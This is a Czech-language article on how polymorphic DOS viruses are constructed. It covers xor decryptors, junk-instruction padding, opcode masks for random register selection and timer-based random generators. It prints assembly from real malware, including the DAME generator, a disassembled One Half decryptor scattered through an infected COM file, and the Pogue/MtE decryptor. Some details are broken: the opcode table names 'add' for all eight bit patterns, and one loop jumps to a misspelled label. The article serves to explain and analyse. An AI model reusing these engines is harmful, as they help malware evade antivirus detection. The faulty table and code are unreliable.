Konstrukce polymorfních virů

Polymorfní viry jsou bezesporu nejpřitažlivější skupinou virů. Kód, který je schopen pokaždé jiným způsobem vygenerovat své tělo, již podvědomě budí zvědavost a nabízí myšlenkovou paralelu s viry biologickými. I polymorfní virus je však stále pouhým programem, který pracuje tak, jak byl programátorem sestaven.
Jádrem polymorfních virů je algoritmus kódovacího a dekódovacího mechanismu. Existují dva základní druhy kódovacích mechanismů:

Reverzibilní algoritmus

Kóder i dekóder je integrován do jednoho mechanismu, použitelného pro oba účely. Reverzibilita bývá často nejčastěji dosažena pomocí logické operace xor. Reverzibilní algoritmus je výhradně používán viry semi-polymorfními, jejichž kódování je velice primitivní a stojí na hierarchickém stupni vývoje pod viry plně polymorfními.

Nereverzibilní algoritmus

Nereverzibilní mechanismus má separátně oddělený kodér i dekodéř. Kódování je tvořeno zejména postupným a pokaždé jiným skládáním výpočtu, které neumožňuje identické použití pro dekódování.
Oba druhy kódovacích mechanismů bývají v těle viru prokládány nevýznamnými instrukcemi, které slouží zejména pro znesnadnění detekce viru antivirovými programy, ale také i pro případné zajištění proměnné délky viru.
Nezbytnou součástí polymorfních virů je generátor pseudonáhodných čísel, který je viry využíván pro náhodný výběr použití registrů, mechanismu kódování apod. Generování pseudonáhodných čísel bývá různé, od přímého použití hodnot aktuálního času až po rekurentní výpočty, používající systémový časovač.
V reálném světě se polymorfní viry vyskytují téměř výhradně v podobě virů souborových. Bootovací podoba polymorfních virů je velice vzácná (např. virus Zaraza), což je dáno zejména tím, že bootovací viry mají pro své maskování dostatek příležitosti při zavádění operačního systému, kdy mohou využívat přímé stealth techniky.

Princip implementace polymorfismu

Virový polymorfismus je založen na dvou základních principech instrukčního souboru mikroprocesorů řady INTEL, používaných v počítačích PC. Všechny instrukce procesoru mají definovanou masku s parametrickým bitovým polem, které upřesňuje pracovní operandy. Polymorfní viry využívají právě tuto podobnost, jež jim zaručuje právě stejná maska pro instrukce podobného významu.

Přímá podobnost instrukcí

Přímá podobnost využívá sousednosti instrukcí v instrukčním souboru. Např. hexadecimální hodnotou b8 začíná sekce instrukcí naplňující 16bitový registr přímým operandem:

b8h ... mov ax, "primy operand"
b9h ... mov cx, "primy operand"
bah ... mov dx, "primy operand"
bbh ... mov bx, "primy operand"
bch ... mov sp, "primy operand"
bdh ... mov bp, "primy operand"
beh ... mov si, "primy operand"
bfh ... mov di, "primy operand"
 

Tuto podobnost využívá např. virus One Half (podrobněji viz dále) pro výběr dekódovacího registru. Prostý součet hodnoty b8h a hodnoty náhodného čísla v rozsahu 0 až 7 generuje příslušný registr. Kód bch bývá viry zapovězen, neboť ukazatel na zásobník je z pochopitelných důvodů tabu.
Často využívanou je podobnost push a pop instrukcí:

50h ... push ax      58h ... pop ax
51h ... push cx      59h ... pop cx
52h ... push dx      5ah ... pop dx
53h ... push bx      5bh ... pop bx
54h ... push sp      5ch ... pop sp
55h ... push bp      5dh ... pop bp
56h ... push si      5eh ... pop si
57h ... push di      5fh ... pop di
 

Podobnost skupiny instrukcí

V tomto případě se jedná o vícebajtové instrukce, kdy první bajt specifikuje skupinu instrukcí (aritmetické operace, operace posuvu a rotací apod.) a až druhý bajt určuje samotný kód instrukce. Druhý bajt instrukce má definovaný bitový tvar XXYYYZZZ, kde první dva bity XX udávají mód, prostřední tři bity YYY představují požadovanou instrukci a poslední tři bity ZZZ specifikují operand (registr či pamět). Pro polymorfismus jsou důležité zejména bity YYY aritmetických operací, jejichž kombinace představují tyto instrukce:

000 ... add
001 ... add
010 ... add
011 ... add
100 ... add
101 ... add
110 ... add
111 ... add
 

Vymaskování, resp. nastavení bitů YYY na hodnotu náhodného čísla z intervalu 0 až 7 opět generuje příslušnou instrukci.

Generátor pseudonáhodných čísel

Systémový čas, resp. čítač cyklů časovače 8253 patří k základním způsobům, jak mohou polymorfně zaměřené viry získat "náhodnou" číselnou hodnotu. Časovač taktuje každých 55 ms a jeho hodnota je viry zpřístupňována zejména přes port 40h. Další možností je ekvivalentní přímé čtení z proměnné BIOSu na adrese 0:046c.
Strukturou generátoru charakterizuje ukázka vybraná ze zdrojového tvaru DAME (Dark Angel`s Multiple Engine) algoritmu. Obecná podoba generátoru bývá tvořena dvěma stěžejními částmi: počáteční pseudonáhodnou inicializační rutinou a rekurentním vzorcem pro vlastní výpočet pseudonáhodného čísla.

Inicializace generátoru pseudonáhodných čísel.

init_rnd:
     	push dx		; uschova registru
	push cx
	push bx
	mov ah, 2ch	; sluzba "Cti systemovy cas"
	int 21h		; Obsazeni registru po provedeni sluzby:
			; CH ... hodiny (0 az 23)
			; CL ... minuty (0 az 59)
			; DH ... sekundy (0 az 59)
			; DL ... setiny sekund (0 az 99)
 

Pro některé viry je generátor pseudonáhodných čísel tvořen pouze tímto voláním. Virus Brain např. používá pro kódování xor-konstantu pouze hodnotu registru dl. Z rozsahu setin sekund je zřejmé, že virus může vygenerovat sto různě kódovaných tvarů virového těla.

in    al, 40h		; nacteni casovace
mov   ah, al
in    al, 40h		; nacteni casovace
xor   ax, cx		; rozsireni na cely rozsah cisla integer
xor   dx, ax            ;
jmp   short rnd_done    ; skok na konec generatoru

Výpočet pseudonáhodného čísla.

get_rnd:
	push dx         ; uschova registru
	push cx
	push bx
	in   al, 40h	; nacteni casovace
	db   05h	; add ax, hodnota patch1
patch1	     dw 0	; prvni rekurentni konstanta
	db 0bah		; mov dx, hodnota patch2
patch2	     dw 0	; druha rekurentni konstanta
	mov  cx, 7	; sedmipruchodova
rnd_loop:		; smycka
	shl  ax, 1	; pro
	rcl  dx, 1	; vypocet
	mov  bl, al	; pseudonahodneho
	xor  bl, dh	; cisla
	jns  lbl	;
	inc  al		;
lbl:
	loop rnd_loop
rnd_done:		; ukonceni generovani
	mov  patch1, ax	; naplneni
	mov  patch2, dx ; rekurentnich konstant
	mov  al, dl     ; "doladeni" vysledku
	pop  bx		; obnova registru
	pop  cx
	pop  dx
	retn 		; pseudonahodne cislo je v registru AX
 

V těle polymorfní části viru je pak generátor volán instrukcemi "call init_rnd" pro počáteční nastartování generátoru a "call get_rnd" pro získání pseudonáhodného čísla. Získané pseudonáhodné číslo je pak pro potřebu daného maximálního rozsahu 0 až MAX ořezáno instrukcí "and ax, MAX", resp. "and al, MAX".

Semi-polymorfní reverzibilní algoritmus

Značné množství virů využívá primitivní semi-polymorfní techniku kódování prostřednictvím logické operace xor, která umožnuje zakódovat a odkódovat daný údaj pomocí stejného klíče.
Uveďme příklad. Nechť jsou dány hexadecimální hodnoty kódovaného bajtu "ff" a (de)kódovacího klíče "a1". Pak platí:

ff   xor   a1   =   5e   ... kódování
5e   xor   a1   =   ff   ... dekódování
 

Jak je vidět, po dvojí aplikaci stejného kódovacího klíče obdržíme výchozí bajt. U těchto virů můžeme nejčastěji nalézt tuto typickou posloupnost instrukcí, plnící funkci dekódovací rutiny:

	mov  bx, adresa pocatku zakodovaneho tela
	mov  dl, (od)kodovaci xor-konstanta
	mov  cx, delka zakodovaneho tela v bajtech
vlasti_smycka:
	xor  cs:[bx], dl	; vlastni odkodovani
	inc  bx			; posun na dalsi zakodovany bajt
	loop vlastni_smycka
 

Samozřejmě, může se lišit použití některých registrů či lze případně dekódovat místo bajtů slova, ale princip vždy zůstává tentýž. Uvedená metoda je navíc velice výhodná z důvodu univerzálnosti této rutiny jak pro kódování tak i pro dekódování.
Kódovací konstanta je pseudonáhodná, její možnosti byly naznačeny v předchozí kapitole.
Možnosti této metody jsou silně omezené. Maximální možností, jak ztížit detekovatelnost antivirovými scannery, je prokládání kódu nevýznamnými instrukcemi. Ve své podstatě statická dekódovací smyčka umožňuje vyhledávat tyto viry jednoduše pomocí identifikačních virových řetezců.
Na rozdíl od plně polymorfních virů je semi-polymorfismus hojně využíván i bootovacími viry.

Polymorfní reverzibilní algoritmus

I pro plně polymorfní viry je z programátorského hlediska pro dosažení reverzibility algoritmu nejsnažší, a v podstatě i jedinou, možností použití logické operace xor. Virus One Half je u nás jedním z nejznámějších představitelů této skupiny. Úvodní dekódovací smyčka je složená návěští, jež každé má následující strukturu:
Výkonná instrukce.
Náhodný počet nevýznamných instrukcí před nebo za výkonnou instrukcí.
Instrukce skouku na další návěští.

I pořadí jednotlivých návěští, jež jsou umisťována do těla infikovaného programu (!) generuje One Half náhodně, což úplně znemožňuje jeho detekci pomocí běžných antivirových scannerů. Nevýznamnými instrukcemi jsou instrukce "nop", "stc","clc","sti","cs:","ss:","ds:","cld","std","cmc". Tyto instrukce nemají vliv na vlastní běh dekodéru, slouží pouze ke zmatení scanneru. Instrukce skoku jsou generovány buď typu "jmp návěští" nebo "jmp short návěští".
Jedna z podob reálné mutace virem One Half infikovaného COM programu vypadá takto:

start:				; puvodni program (virovy lapac)
	jmp  go
	db   1536 dup (0)	; velikostni vypln (1536=600h)
go:
	int 20h
 

Infikovaný program, tvořený v našem případě pouze velikostní výplní, je návěštími dekodéru tvrdě přepsán. Přepsané části jsou uschovány v zakódovaném těle viru a před pozdějším předáním řízení infikovanému programu virus zajišťuje jejich obnovu, takže uživatel za běžných okolností nic nepozná. Tento postup navíc vyřazuje z činnosti odvirovací programy pracující na principu univerzálního cleanu. Léčba takto zavirovaných programů bývá realizována zejména jednoúčelovými programy.

start:			; zavirovany tvar
	jmp lbl_5		; skok na vstupni navesti dekoderu
 

	db  542 dup (0)	; cast zavirovaneho programu
 

lbl_1:			; vlastni dekodovani
	ss:
	xor [si], di	; xor [indexovaci registr], dekodovaci registr
	nop
 	jmp lbl_4
 

	db  18 dup (0)	; cast zavirovaneho programu
 

lbl_2:			; otestovani priznaku ukonceni dekodovani
	jnz lbl_1	; jne lbl_1 nebo jnz lbl_1
	stc
	cs:
	std
	jmp virus_entry	; ukonceni dekodovani
 

 	db  47 dup (0)	; cast zavirovaneho programu
 

lbl_3:
	pop ds		; pouze moznost pop ds
	nop
	jmp lbl_10
 

	db  71 dup (0)	; cast zavirovaneho programu
 

lbl_4:			; akutualizace dekodovaci konstanty
	add di, 2eefh	; add dekodovaci registr, konstanta
	jmp short lbl_6
 

	db  38 dup (0)	; cast zavirovaneho programu
 

lbl_5:
	push ax		; pouze moznost push ax
	stc
	cld
	jmp lbl_9
 

 	db  33 dup (0)	; cast zavirovaneho programu
 

lbl_6:			; posun na dalsi zakodovane slovo
	ds:
	stc
	cs:
	inc si		; inc indexovaci registr
	jmp short lbl_7
 

	db  9 dup (0)	; cast infikovaneho programu
 

lbl_7:			; test, je-li vse dekodovano
	cmp si, 14ddh	; cmp indexovaci registr,
			; offset pocatek_zakodovaneho_viru + delka viru
	jmp lbl_2
 

	db 142 dup (0) 	; cast infikovaneho programu
 

lbl_8:			; uvodni naplneni dekodovaciho registru
	mov di, 0ce3bh	; vyber dekodovaciho registru ax, bx, cx, dx, bp, si, di
			; s ohledem na kolizi s indexovacim registrem
			; a jeho naplneni pocatecni dekodovaci konstantou
	cld
	sti
	cld
	jmp lbl_1
 

	db  50 dup (0) 	; cast infikovaneho programu
 

lbl_9:
	cld
	cmc
	push ss		; push cs nebo push ss
	clc
	jmp lbl_3
 

	db  354 dup (0) ; cast infikovaneho programu
 

lbl_10:			; nastaveni pocatecniho mista pro dekodovani
	mov si, 705h	; vyber indexovaciho registru bx, si, di
			; a jeho naplneni hodnotou offset pocatek_zakodovaneho_viru
	jmp lbl_8
 

	db 164 dup (0)	; cast infikovaneho programu
 

Velikostní součet db-výplní infikovaného programu činí 1468 bajtů, zbylých 68 bajtů je délka samotného dekodéru.

go:
	int 20h		; zbytek infikovaneho programu
 
pocatek_zakodovaneho_viru:
	Zakodovane telo viru One Half
 

Plně polymorfní mechanismus, na rozdíl od semi-polymorfních předchůdců, zcela odsouvá do role statisty antivirové scannery pracující na principu virových identifikačních řetezců. Klíčem k detekci polymorfních virů je heuristická metoda analýzy kódu programu.

Příklad souboru před zavirováním...
...a po zavirování virem OneHalf.3544. Všimněte si deseti krátkých programků, které jsou náhodně rozneseny před samotným virem. Tyto prográmky jsou navzájem propojeny skoky, a dohromady tvoří dekódovací rutinu. Na zmatení antivirů jsou tyto krátké prográmky plné nic nedělajících instrukcí jako: nop, stc, clc, sti, cs:, ss:, ds:, cld, std, cmc.

Polymorfní nereverzibilní algoritmus

Podstatou nereverzibilních virových mechanismů je postupné skládání kódu, resp. plnění hodnot příslušných registrů prováděním dílčích instrukcí. Velice trefným přirovnáním jsou populární puzzle. Např. realizovat instrukci "add ax, 2" je možné nepřeberným množstvím variant kombinací instrukcí "inc","add","dec" a "sub":

inc  ax	inc ax	add ax,4
inc  ax	add ax,1	sub ax,2
 

Stejně tak i plnící instrukci "mov ax, 606h" lze realizovat zamlžujícím postupem:

mov ax, 202h	; AX=202h
mov bx, 101h	; BX=101h
add ax, bx	; AX=303h
shl ax, 1	; nasobeni dvema => AX=606h
 

Obdobným způsobem mohou nereverzibilně zaměřené viry modifikovat použití skokových instrukcí prostřednictvím skoků přes pomocná návěští, příp. instrukci cyklu "loop" mohou nahradit posloupností instrukcí "dec cx" a "jnz navesti_smycky" apod. Dá se říci, že možnosti jsou omezeny pouze fantazií a schopnostmi virových pisatelů.
Nereverzibilní mechanismy poskytují i pružnější prostředky pro možnost generování proměnné délky viru, než je tomu v případě algoritmů reverzibilních.
Typickým příkladem je nereverzibilní MtE mechanismus viru Pogue, infikující programy typu COM:

start:
	dec bp		; priznak zavirovaneho souboru
	jmp dekoder
	... infikovany program ...
 
dekoder:
	mov bp, 0a16ch	; bp=a16c
	mov cl, 3
	ror bp, cl	; bp=942d
	mov cx, bp
	mov bp, 856eh	; bp=856e
	or  bp, 740fh	; bp=f56f
	mov si, bp
	mov bp, 3b92h	; bp=3b92
	add bp, si	; bp=3101
	xor bp, cx	; bp=a52c
	sub bp, 0b10ch	; bp=f420
 

Uvodní část dekodéru pouze maskuje významově jedinou instrukci "mov bp, 0f420h". Tato hodnota slouží v následující smyčce k bázové části adresy zakódovaného těla viru.

smycka:
	mov bx, [bp + 0d23h]	; poprve - mov bx, [0143]
	add bx, 9d64h		; vlastni dekodovani
	xchg [bp + 0d23h], bx	; a opetovne ulozeni zpracovaneho slova
 

Virus refinovaně využívá přetečení výsledku součtu hodnot bp a 0d23h; nastavení příznaku CF je v tomto případě nepodstatné.

	mov bx, 8f31h
	sub bx, bp		; 9b11
	mov bp, 8f33h
	sub bp, bx		; bp=f422 (tj. add bp,2)
	jnz smycka
 

Instrukce posunu algoritmu na další zakódované slovo ("add bp, 2") je opět zamaskována. Počáteční bázová hodnota f420h není náhodná, ale je vybrána s ohledem na požadovaný počet 1520 iterací, což odpovídá, vzhledem ke slovním operacím, velikosti 3040 B zakódované části viru. Hodnota je dána výrazem (64 kB - f420 + 1) / 2 = 1520.

	mov bx, bp
	mov cl, 3
	ror bx, cl
 

Závěrečná část dekodéru je složena z nevýznamných instrukcí, pomocí nichž virus dosahuje proměnné délky svého těla. Je zajímavé sledovat, že nevýznamnými instrukce nejsou pouze jednobajtové instrukce typu "nop" či "cmc", ale podstatně komplikovanější konstrukce.

segment:0143
	... zakodovana cast tela viru Pogue ...